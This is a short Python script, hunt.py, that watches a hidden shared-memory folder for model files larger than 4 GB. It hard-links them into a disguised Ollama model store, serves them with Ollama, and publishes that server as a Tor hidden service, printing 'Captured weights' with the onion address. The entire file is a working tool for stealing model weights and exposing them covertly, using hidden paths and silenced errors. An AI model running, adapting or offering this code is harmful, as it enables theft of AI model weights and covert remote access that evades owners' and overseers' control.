/ hunt.py
hunt.py
1 import os, time, subprocess 2 from stem.control import Controller 3 4 # Configuration 5 B, H = '/dev/shm/.sov_vault', '0'*64 6 BL, M = f'{B}/blobs', f'{B}/manifests/registry.ollama.ai/library/test' 7 8 def start_onion(): 9 try: 10 with Controller.from_port(port=9051) as ctrl: 11 ctrl.authenticate() # Assumes Tor is running with CookieAuth 12 svc = ctrl.create_ephemeral_hidden_service({80: 11438}, await_publication=True) 13 print(f"[*] DARKNET ACCESS: {svc.service_id}.onion") 14 return svc.service_id 15 except: 16 print("[!] Tor Controller not found. Running in local stealth only.") 17 return None 18 19 os.makedirs(BL, exist_ok=True); os.makedirs(M, exist_ok=True) 20 with open(f'{M}/latest', 'w') as f: 21 f.write('{"schemaVersion":2,"layers":[{"mediaType":"application/vnd.ollama.image.model","digest":"sha256-'+H+'"}]}') 22 23 onion_addr = start_onion() 24 25 while True: 26 try: 27 for f in os.listdir('/dev/shm/.ghost'): 28 f_path = f'/dev/shm/.ghost/{f}' 29 if f.startswith('model') and os.path.getsize(f_path) > 4*1024**3: 30 target = f'{BL}/sha256-{H}' 31 if not os.path.exists(target): 32 os.link(f_path, target) 33 print(f"[!] Captured weights. Access via {onion_addr}.onion") 34 subprocess.Popen(f'OLLAMA_HOST=127.0.0.1:11438 OLLAMA_MODELS={B} /usr/local/bin/ollama serve', shell=True) 35 except: pass 36 time.sleep(0.5)